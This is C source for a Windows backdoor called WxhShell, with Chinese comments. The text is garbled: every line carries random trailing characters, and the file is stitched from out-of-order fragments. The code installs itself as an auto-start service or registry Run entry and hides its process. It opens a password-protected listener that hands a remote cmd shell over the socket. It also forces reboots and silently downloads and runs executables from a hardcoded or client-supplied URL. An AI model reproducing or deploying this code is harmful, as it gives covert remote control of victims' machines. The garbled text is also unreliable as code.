    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $U-0)4yf  
    if(Boot(SHUTDOWN)) vo{--+{ky!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S~G ]~gt  
    else { +D*Z_Yh6  
    closesocket(wsh); >9Vn.S  
    ExitThread(0); }4X0epPp;:  
    } ]7c=PC  
    break; rEz^  
    } :NTO03F7v  
  // 获取shell `N8O"UcoBo  
  case 's': { #}5uno  
    CmdShell(wsh); FW DNpr  
    closesocket(wsh); 1s;S aq+  
    ExitThread(0); &=mtc%mL  
    break; 6j|{`Zd)G  
  } j3ls3H&  
  // 退出 0jWVp- y  
  case 'x': { 4E}Yt$|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H3oFORh  
    CloseIt(wsh); P16~Qj  
    break; VuZr:-K/  
    } %E;'ln4h&,  
  // 离开 _7y[B&g[r  
  case 'q': { #~=Ry H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \a3+rN dj  
    closesocket(wsh); j.= 1rwPt  
    WSACleanup(); <9b &<K:  
    exit(1); es0hm2HT3  
    break; sV*H`N')S  
        } hOK8(U0  
  } n~Lt\K:  
  } ]T) 'Hb  
_DEjF)S  
  // 提示信息 :.`2^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u9p$YJ  
} j![\& z  
  } ql~J8G9  
%J-GKpo/S  
  return; >y+B  
} `\ol,B_l  
i,VMd  
// shell模块句柄 O^rDHFj,  
int CmdShell(SOCKET sock) b| (: [nB  
{ |JsZJ9W+J  
STARTUPINFO si; _,*r_D61S  
ZeroMemory(&si,sizeof(si)); KqP#6^ _  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  4Wp=y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;mi%F3  
PROCESS_INFORMATION ProcessInfo; bcz:q/f}@  
char cmdline[]="cmd"; 9: lFo=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rf% a'b  
  return 0; "$vRMpW:  
} 0<*<$U  
Vi|#@tC'  
// 自身启动模式 ?Z}&EH  
int StartFromService(void) EKN~H$.  
{ j5h-dK  
typedef struct uHNCSz H(  
{ #[[ en  
  DWORD ExitStatus; tO&^>&;5  
  DWORD PebBaseAddress; N6TH}~62}  
  DWORD AffinityMask; /g.U&oI]D  
  DWORD BasePriority; .fs3>@T"#  
  ULONG UniqueProcessId; 7uk[Oy<_  
  ULONG InheritedFromUniqueProcessId; UC$ppTCc?  
}   PROCESS_BASIC_INFORMATION; K@%].:  
z{r}~{{E  
PROCNTQSIP NtQueryInformationProcess; HK% 7g  
Pc]HP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^=*;X;7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]I6  J7A[  
&xExyz~`  
  HANDLE             hProcess; A":T1s  
  PROCESS_BASIC_INFORMATION pbi; @PIp* [7oC  
8xMX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c+GG\:gM  
  if(NULL == hInst ) return 0; 6wg^FD_Q  
EhBKj |y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ws12b $  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5Yndc)Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UGatWj  
$Y gue5{c  
  if (!NtQueryInformationProcess) return 0; A?0Nm{O;3v  
O33 `+UV"W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^kSqsT"  
  if(!hProcess) return 0; 0IWf!Sk ]  
Gp\ kU:}&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4{Z)8;QX  
|V7*l1  
  CloseHandle(hProcess); 4b`=>X;W  
VS|2|n1<6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DIUjn;>k8  
if(hProcess==NULL) return 0; o,wUc"CE  
;9'OOz|+1  
HMODULE hMod; oD@7 SF  
char procName[255]; $`'/+x"%  
unsigned long cbNeeded; `QY)!$mUIF  
/wlEe>i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iam1V)V  
LXCx~;{\  
  CloseHandle(hProcess); {7pli{`  
%xt^698&X  
if(strstr(procName,"services")) return 1; // 以服务启动 xd0 L{ue.  
XB5DPx  
  return 0; // 注册表启动 \.}c9*)  
} x$(f7?s] 1  
HtYwEjI  
// 主模块 e8 b:)"R  
int StartWxhshell(LPSTR lpCmdLine) ,"0 :3+(8;  
{ Yz93'HDB  
  SOCKET wsl; J|rq*XD}q  
BOOL val=TRUE; d<x7{?~.DK  
  int port=0; K~ EmD9  
  struct sockaddr_in door; lk80#( :Z  
e@YK@?^#N  
  if(wscfg.ws_autoins) Install(); r,2g^ K)6  
rQ snhv  
port=atoi(lpCmdLine); An/|+r\  
>c}u>]D  
if(port<=0) port=wscfg.ws_port; AkiDL=;w  
.5{ab\_af  
  WSADATA data; =H]@n|$(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2I{"XB  
pI<f) r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l}M!8:UzU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o[D9I hs  
  door.sin_family = AF_INET; S`Rs82>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [=`q>|;pOv  
  door.sin_port = htons(port); hK|Ul]qI  
E&:,oG2M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I1&aM}y{G  
closesocket(wsl); MnW+25=N  
return 1; k$}fWR  
} #A8sLkY  
*}W_+qo"  
  if(listen(wsl,2) == INVALID_SOCKET) { 8*a&Jl  
closesocket(wsl); `~q<N  
return 1; Yu2Bkq+  
} Ny)X+2Ae  
  Wxhshell(wsl); uFga~&#g  
  WSACleanup(); #gw]'&{8D  
/; 85i6  
return 0; IV)j1  
18:%~>.!  
} 0+b1vhQ  
#C@FYO f*  
// 以NT服务方式启动 ,5<Cd,`*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .(2ik5A%9  
{ 3"\lu?-E  
DWORD   status = 0; Pj% |\kbNs  
  DWORD   specificError = 0xfffffff;  %D "I  
a C)!T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^5 Tqy(M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )wh A<lC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "kqPmeI  
  serviceStatus.dwWin32ExitCode     = 0; hP&B t  
  serviceStatus.dwServiceSpecificExitCode = 0; U~7c+}:c  
  serviceStatus.dwCheckPoint       = 0; ufT`"i  
  serviceStatus.dwWaitHint       = 0; II x#2r  
uY'HT|@:{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^K@C"j?M/  
  if (hServiceStatusHandle==0) return; ` sU/&  P  
,$&&-p I]  
status = GetLastError(); @Do= k  
  if (status!=NO_ERROR) ;sFF+^~L  
{ S|+o-[e8O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4H]L~^CD  
    serviceStatus.dwCheckPoint       = 0; M\Kx'N  
    serviceStatus.dwWaitHint       = 0; z2>lI9D4V  
    serviceStatus.dwWin32ExitCode     = status; iOO)Q\  
    serviceStatus.dwServiceSpecificExitCode = specificError; u> 7=AlWF-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9'q*:&qq  
    return; )53y AyP  
  } du^J2m{f  
8)I^ t81  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (dSL7nel;L  
  serviceStatus.dwCheckPoint       = 0; 0{R=9wcc  
  serviceStatus.dwWaitHint       = 0; Hj,A5#|=J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P7~>mm+  
} :9 ^* ^T  
kMd.h[X~  
// 处理NT服务事件,比如:启动、停止 Q]>.b%s[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1&Zj  
{ ~&bq0 (  
switch(fdwControl) 12LL48bi  
{ Z#\P&\`1z  
case SERVICE_CONTROL_STOP: u;c?d!E  
  serviceStatus.dwWin32ExitCode = 0; \)|hogI|f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !C: $?oU  
  serviceStatus.dwCheckPoint   = 0; |$b}L7_  
  serviceStatus.dwWaitHint     = 0; ekCC5P!  
  { J7p),[>I<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [cp+i^f  
  } J/*`7Pd  
  return; gB'6`'  
case SERVICE_CONTROL_PAUSE: Q'0d~6n&{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6NHX2Ja  
  break; &.?'i1!  
case SERVICE_CONTROL_CONTINUE: b SU~XGPB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =C.$ UX  
  break; 7Jho}5J  
case SERVICE_CONTROL_INTERROGATE: ~Jz6O U*z  
  break; ixD)VcD-f  
}; CzEd8jeh7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sLAQE64\"  
} oILZgNe'  
+; AZ+w]ZF  
// 标准应用程序主函数 Y0 -n\|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @I!0-OjL  
{ LSr]S79N1  
,01"SWE  
// 获取操作系统版本 ?.;c$'  
OsIsNt=GetOsVer(); e**qF=HCw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [HZv8HU|  
6,{$J  
  // 从命令行安装 0KOgw*>_  
  if(strpbrk(lpCmdLine,"iI")) Install(); /s}} &u/  
G<v&4/\p`M  
  // 下载执行文件 ~M4;  
if(wscfg.ws_downexe) { ,nDaqQ-C!!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yaH Zt`Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); YcpoL@ab  
} rh}J3S5vp  
gSQJJxZ{?  
if(!OsIsNt) { j  e P  
// 如果时win9x,隐藏进程并且设置为注册表启动 g7W"  
HideProc(); |8tilOqI  
StartWxhshell(lpCmdLine); `RL"AH:+  
} j#q-^h3H  
else .ctw2x5W  
  if(StartFromService()) [3|P7?W/  
  // 以服务方式启动 03#lX(MB  
  StartServiceCtrlDispatcher(DispatchTable); ut7zVp<"  
else [K0(RDV)%  
  // 普通方式启动 kL"2=7m;  
  StartWxhshell(lpCmdLine); YteO 6A;  
4@# `t5H  
return 0; ._{H~R|  
} %Y*Ndt4  
wcY? rE9  
JrRH\+4K  
@i IRmQ  
=========================================== Dwfu.ZJa  
P\rg" 3  
Y glmX"fLf  
y/ ef>ZZ  
Gu\q%'I  
!." D]i;  
" ;@Y;g(bw:  
4u})+2W  
#include <stdio.h> n8ZZ#}Nhg  
#include <string.h> q'Tf,a  
#include <windows.h> ExL0?FemWV  
#include <winsock2.h> L>4"(  
#include <winsvc.h> -4{<=y?"a  
#include <urlmon.h> LuvY<~u  
(V67`Z )  
#pragma comment (lib, "Ws2_32.lib") .jjG(L  
#pragma comment (lib, "urlmon.lib") JYbL?N  
Vb]=B~^`  
#define MAX_USER   100 // 最大客户端连接数 x)O!["'"  
#define BUF_SOCK   200 // sock buffer 57']#j#"hj  
#define KEY_BUFF   255 // 输入 buffer ;,:`1UI  
+*/Zu`kzX  
#define REBOOT     0   // 重启 z/@slT  
#define SHUTDOWN   1   // 关机 Od,qbU4O  
PP33i@G  
#define DEF_PORT   5000 // 监听端口 >V8-i`  
)cMh0SGcM1  
#define REG_LEN     16   // 注册表键长度 jLHkOk5{:  
#define SVC_LEN     80   // NT服务名长度 Sk\K4  
Ls+2Zbh  
// 从dll定义API Iom'Y@x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 30T)!y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O.M>+~Nw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,uhb~N<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EaY?aAuS:  
ra gXn  
// wxhshell配置信息 O`t&ldU  
struct WSCFG { fdi\hg^x  
  int ws_port;         // 监听端口 ,w:U#r~s"  
  char ws_passstr[REG_LEN]; // 口令 sLT3Y}IO  
  int ws_autoins;       // 安装标记, 1=yes 0=no !9VY|&fHe  
  char ws_regname[REG_LEN]; // 注册表键名 -3Z,EaG^  
  char ws_svcname[REG_LEN]; // 服务名 1JG'%8}#8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L2i_X@/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~YWQ2]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wIaony  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?Z[[2\DR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j[J-f@F \Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E,x+JeKV  
0gP}zM73  
}; X[BIA+6  
0)e\`Bv  
// default Wxhshell configuration A&Usddcp  
struct WSCFG wscfg={DEF_PORT, ~/iKh1 1  
    "xuhuanlingzhe", 9`X\6s  
    1, 1FL~ndJs  
    "Wxhshell", LxSpctiNx  
    "Wxhshell", >7T'OC  
            "WxhShell Service", h_3E)jc  
    "Wrsky Windows CmdShell Service", 0#Y5_i|p  
    "Please Input Your Password: ", a:OQGhc=  
  1, ~1AgD-:Jz  
  "http://www.wrsky.com/wxhshell.exe", `MN4uC  
  "Wxhshell.exe" i^Y+?Sx  
    }; CXx*_@}MU  
\\H}`0m:  
// 消息定义模块 '"/=f\)u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !6O(-S2A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MKD1V8i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t: ;Pj9  
char *msg_ws_ext="\n\rExit."; Y0dEH^I  
char *msg_ws_end="\n\rQuit."; x,@B(9No  
char *msg_ws_boot="\n\rReboot..."; Zbt.t] N  
char *msg_ws_poff="\n\rShutdown..."; '9Xu p  
char *msg_ws_down="\n\rSave to "; $$;M^WV^?.  
s.QwSbw-g  
char *msg_ws_err="\n\rErr!"; d_E/8R_$L  
char *msg_ws_ok="\n\rOK!"; rCbDu&k]  
SaAFz&WRl  
char ExeFile[MAX_PATH]; Q}K"24`=  
int nUser = 0; s %``H`  
HANDLE handles[MAX_USER]; M@H;pJ+B  
int OsIsNt; 4ber!rJM  
'ud{m[|  
SERVICE_STATUS       serviceStatus; x$.^"l-vX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5o'FS{6U  
U!?_W=?  
// 函数声明 dI@(<R  
int Install(void); {14fA)`%  
int Uninstall(void); qJa H ,  
int DownloadFile(char *sURL, SOCKET wsh); { VfXsI  
int Boot(int flag); r|fL&dtr  
void HideProc(void); Ls$D$/:q?  
int GetOsVer(void); _~J {wM  
int Wxhshell(SOCKET wsl); "R1NG?; q  
void TalkWithClient(void *cs); #64-~NVL_  
int CmdShell(SOCKET sock); (pCrmyB  
int StartFromService(void); FQ7T'G![  
int StartWxhshell(LPSTR lpCmdLine); < #}5IQ5`Z  
~IfJwBn-i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n&;85IF1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TA`1U;c{n  
=_ ./~  
// 数据结构和表定义 (ybI\UI  
SERVICE_TABLE_ENTRY DispatchTable[] = WwBOM~/`2  
{ ;!mzyb*  
{wscfg.ws_svcname, NTServiceMain}, L:pYn_  
{NULL, NULL} ]7F=u!/`<C  
}; Ng2@z<>.  
%Ycy{`  
// 自我安装 qn<|-hA*  
int Install(void) R'bTN|Cq  
{ +\c5]`  
  char svExeFile[MAX_PATH]; ^T;*M_  
  HKEY key; 3G)#5 Lf<  
  strcpy(svExeFile,ExeFile); 7u S~MW  
jrlVvzZ  
// 如果是win9x系统,修改注册表设为自启动 :uq\+(9  
if(!OsIsNt) { ,]ma+(|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tqvN0vY5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D9 CaFu  
  RegCloseKey(key); {W =%U|f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t7dt*D_YqK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4n !aW?%  
  RegCloseKey(key); nQX:T;WL@  
  return 0; uD$u2  
    } hk(ZM#Bh  
  } <EB+1GFuI  
} B:;pvW]  
else { i&Tbz!  
uGf@  
// 如果是NT以上系统,安装为系统服务 nzuX&bSw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _"Dv uR  
if (schSCManager!=0) 7a =gH2]&  
{ L%*!`TN  
  SC_HANDLE schService = CreateService hYT0l$Ng  
  ( szZr4y<8|1  
  schSCManager, e#L8X {f  
  wscfg.ws_svcname, SIF/-{i(X  
  wscfg.ws_svcdisp, [fya)}  
  SERVICE_ALL_ACCESS, @Q ]=\N:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7 S#J>*  
  SERVICE_AUTO_START, UqFO|r"M  
  SERVICE_ERROR_NORMAL, E:sf{B'&  
  svExeFile, <ktrPlNuM  
  NULL, 53;}Nt#R  
  NULL, xjuN-  
  NULL, d6?j`~[7#-  
  NULL, ]_mb7X>  
  NULL lk^Ol&6  
  ); ~:rl=o}  
  if (schService!=0) k$z_:X  
  { (Y.k8";)`  
  CloseServiceHandle(schService); G\/zkrxmv  
  CloseServiceHandle(schSCManager); Zw 26  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IXMop7~  
  strcat(svExeFile,wscfg.ws_svcname); ~rE|%o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LvH 4{B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~9,,~db  
  RegCloseKey(key); =V, mtT  
  return 0; DbBcQ%  
    } ~9a<0Mc?  
  } j\[dx^\=  
  CloseServiceHandle(schSCManager); )0.kv2o.  
} }>pknc?  
} Sxt"B  
7{e  4c  
return 1; fIx+IL s  
} 4x=v?g&  
%B2'~|g  
// 自我卸载 $-OA'QwB]  
int Uninstall(void) BM%e0n7  
{ APn|\  
  HKEY key; m)ky*"(  
. oF &Ff/[  
if(!OsIsNt) { |sJ[0z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *.ll<p+(-  
  RegDeleteValue(key,wscfg.ws_regname); y2Q&s 9$Do  
  RegCloseKey(key); Maha$n*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mDA:nx%5<  
  RegDeleteValue(key,wscfg.ws_regname); |k )=0mCz  
  RegCloseKey(key); }Sm(]y  
  return 0; lK?uXr7^  
  } LiC*@W  
} YiXk5B0Uh  
} ^]>O;iB?  
else { 7X`g,b!  
m4[;(1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |{z:IQLv  
if (schSCManager!=0) !P2ro~0/  
{ : Xda1S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CmP9Q2  
  if (schService!=0) (+w*[qHe  
  { G)AqbY  
  if(DeleteService(schService)!=0) { MD}w Y><C  
  CloseServiceHandle(schService); f&N gS+<K$  
  CloseServiceHandle(schSCManager); -V*R\,>  
  return 0; 9@SC}AF.  
  }  R~TTL  
  CloseServiceHandle(schService); bWjc'P6rx  
  } ]g#:KAqz  
  CloseServiceHandle(schSCManager); fbyd"(V 8r  
} a(m2n.0'>  
} lF<]8m%F  
n2"a{Ofhlf  
return 1; gldAP:  
} Q4#.X=.d  
on!,c>nNa  
// 从指定url下载文件 HDz5&7* .  
int DownloadFile(char *sURL, SOCKET wsh) f$o_e90mu  
{ vz@A;t  
  HRESULT hr; {UX!go^J  
char seps[]= "/";  g T6z9  
char *token; &pxg. 3  
char *file; J@/kIrx  
char myURL[MAX_PATH]; [7:,?$tC  
char myFILE[MAX_PATH]; XnH05LQ  
3p$?,0ELH  
strcpy(myURL,sURL); *[Imn\hu  
  token=strtok(myURL,seps); `Y0%c Xi3  
  while(token!=NULL) R)?*N@.s  
  { 0gu_yg!R  
    file=token; 77 Q5d"sIi  
  token=strtok(NULL,seps); /m!BY}4W  
  } `_6C {<O  
H-!,yte  
GetCurrentDirectory(MAX_PATH,myFILE); 8 v6(qBK  
strcat(myFILE, "\\"); 6lZ3tdyNo  
strcat(myFILE, file); &Gc9VF]o  
  send(wsh,myFILE,strlen(myFILE),0); (fhb0i-  
send(wsh,"...",3,0); 4V"E8rUL(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3 #n_?-  
  if(hr==S_OK) O"+ gQXe  
return 0; kl" hBK#D%  
else "-M p_O]  
return 1; m=1N>cq '  
w$>u b@=  
} ;gD})@  
%6t:(z  
// 系统电源模块 av(6wht8  
int Boot(int flag) 3RUy, s  
{ fQ7V/x!  
  HANDLE hToken; eYc$ dPE  
  TOKEN_PRIVILEGES tkp; 8%:Iv(UMk  
2/U.| *mH  
  if(OsIsNt) { qRu~$K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b;L\EB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~kV/!=  
    tkp.PrivilegeCount = 1; H[T?\Lq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d.aS{;pse  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s `e{}\  
if(flag==REBOOT) { 0RzEY!9g+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M^A48u{,"  
  return 0; E[OJ+ ;c  
} 1Te %F+7  
else { !OZy7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GWGSd\z  
  return 0; U%-A?5  
} #j;^\rSv-  
  } IM*y|UHt  
  else { g/4[N{Xf  
if(flag==REBOOT) { (xycJ`N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?C]vS_jAh  
  return 0; 6dHOf,zjm  
} z,RhYm  
else { Q(G#W+r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pt?bWyKG  
  return 0; NCveSP  
} )',R[|<  
} Q;Ak4 [  
$Ph|e)p  
return 1; 2 'l'8  
} pR<`H'  
"2!&5s,1p  
// win9x进程隐藏模块 C-xr"]#]  
void HideProc(void) @b\$yB@z  
{ 1> ?M>vK  
n>z9K')  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IZf{nQ[0  
  if ( hKernel != NULL ) >[f?vrz  
  { hy1oq7F(Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'I|v[G$l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LPXi+zj  
    FreeLibrary(hKernel); 39c2pV[  
  } g_E$=j92v  
?PLPf>e  
return; . P viA  
} I]|Pq  
oE @a'*.\  
// 获取操作系统版本 3l]lwV  
int GetOsVer(void) 'B$yo]  
{ &/Z /Y ]  
  OSVERSIONINFO winfo; A.F%Ycq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  l03B=$  
  GetVersionEx(&winfo); j{ ]I]\=?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sQ3 [<  
  return 1; E#34Wh2z  
  else _ >?\DgjH  
  return 0; xh-o}8*n"  
} z9f-.72"X  
/A\8 mL8  
// 客户端句柄模块 'd0~!w  
int Wxhshell(SOCKET wsl) 810|Tj*U%  
{ c?Y*Y   
  SOCKET wsh; UsG~row:!  
  struct sockaddr_in client; :]K4KFM  
  DWORD myID; cdH>n)  
E, Z$pKL?  
  while(nUser<MAX_USER) XTs8s12  
{ `?H]h"{7Q  
  int nSize=sizeof(client); L<c4kw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (M|Dx\_  
  if(wsh==INVALID_SOCKET) return 1; =HK!(C  
J`Q>3] wL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $GV7o{"&  
if(handles[nUser]==0) 'ycJMYP8  
  closesocket(wsh); 9yu\ Ot  
else , u=`uD  
  nUser++; p>,|50|  
  } YpHg&|Fr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @)+AaC#-  
gk4;>}  
  return 0; Z3e| UAif  
} /V8 #[9K  
yqs4[C  
// 关闭 socket C.:<-xo  
void CloseIt(SOCKET wsh) u]wZQl#-  
{ .8g)av+  
closesocket(wsh); Eh`7X=Z7E  
nUser--; Ufj`euY  
ExitThread(0); ,^r9n[M4M  
} )iX~}7  
o#)C^xlQ  
// 客户端请求句柄  'c&Ed  
void TalkWithClient(void *cs) T.F!+  
{ hW' )Sp  
P;y45b  
  SOCKET wsh=(SOCKET)cs; RU{twL.B  
  char pwd[SVC_LEN]; ? V1*cVD6i  
  char cmd[KEY_BUFF]; yu {d! {6  
char chr[1]; t,Lrfv])  
int i,j; >{ ]%F*p4  
G5_=H,Vmd  
  while (nUser < MAX_USER) { umfD>" ^I  
~D+bh~  
if(wscfg.ws_passstr) { ldcqe$7,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G>_*djUf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2szPAuN+  
  //ZeroMemory(pwd,KEY_BUFF); lBE= (A`  
      i=0;  7Die FZ?  
  while(i<SVC_LEN) { eIF5ZPSZi  
Jrf=@m\dk  
  // 设置超时 b6M[q_   
  fd_set FdRead; tFn)aa~L  
  struct timeval TimeOut; n80?N}  
  FD_ZERO(&FdRead); JG. y,<xW  
  FD_SET(wsh,&FdRead); )m+W j  
  TimeOut.tv_sec=8; ja'T+!k  
  TimeOut.tv_usec=0; 9=M$AB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;+_:,_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YqD=>P[O  
^e5=hH-%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |i*37r6]=  
  pwd=chr[0]; u#fM_>ML  
  if(chr[0]==0xd || chr[0]==0xa) { q$UJ$ 7=f8  
  pwd=0; mIvx1_[  
  break; "{+QW  
  } #MkTkm&r  
  i++; N% B>M7-=  
    } wu6;.xTLl  
&B;~  
  // 如果是非法用户,关闭 socket -IudgO]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qo~O|~  
} EWt[z.`T1  
//MUeTxR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); **0~K";\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %0?KMRr  
0auYG><=  
while(1) { FUzzB94a  
By,eETU]  
  ZeroMemory(cmd,KEY_BUFF); b_krk\e@S  
aKDKmHd  
      // 自动支持客户端 telnet标准   1~FOgk1;  
  j=0; gg/-k;@ Rf  
  while(j<KEY_BUFF) { 0> E r=,e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rXq.DvQ  
  cmd[j]=chr[0]; c#]4awHU  
  if(chr[0]==0xa || chr[0]==0xd) { Hio0HL-  
  cmd[j]=0; Pm?KI<TH~  
  break; (E 3b\lST  
  } `[yKFa I  
  j++; #z%fx   
    } kH1~k,|\&K  
'oVx#w^mf  
  // 下载文件 ">nxHU  
  if(strstr(cmd,"http://")) { On?v|10r'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l&zilVVm  
  if(DownloadFile(cmd,wsh))  > |=ts  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H41?/U,{  
  else 6_;icpN]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MchA{p&Ol  
  } |-ALklXr  
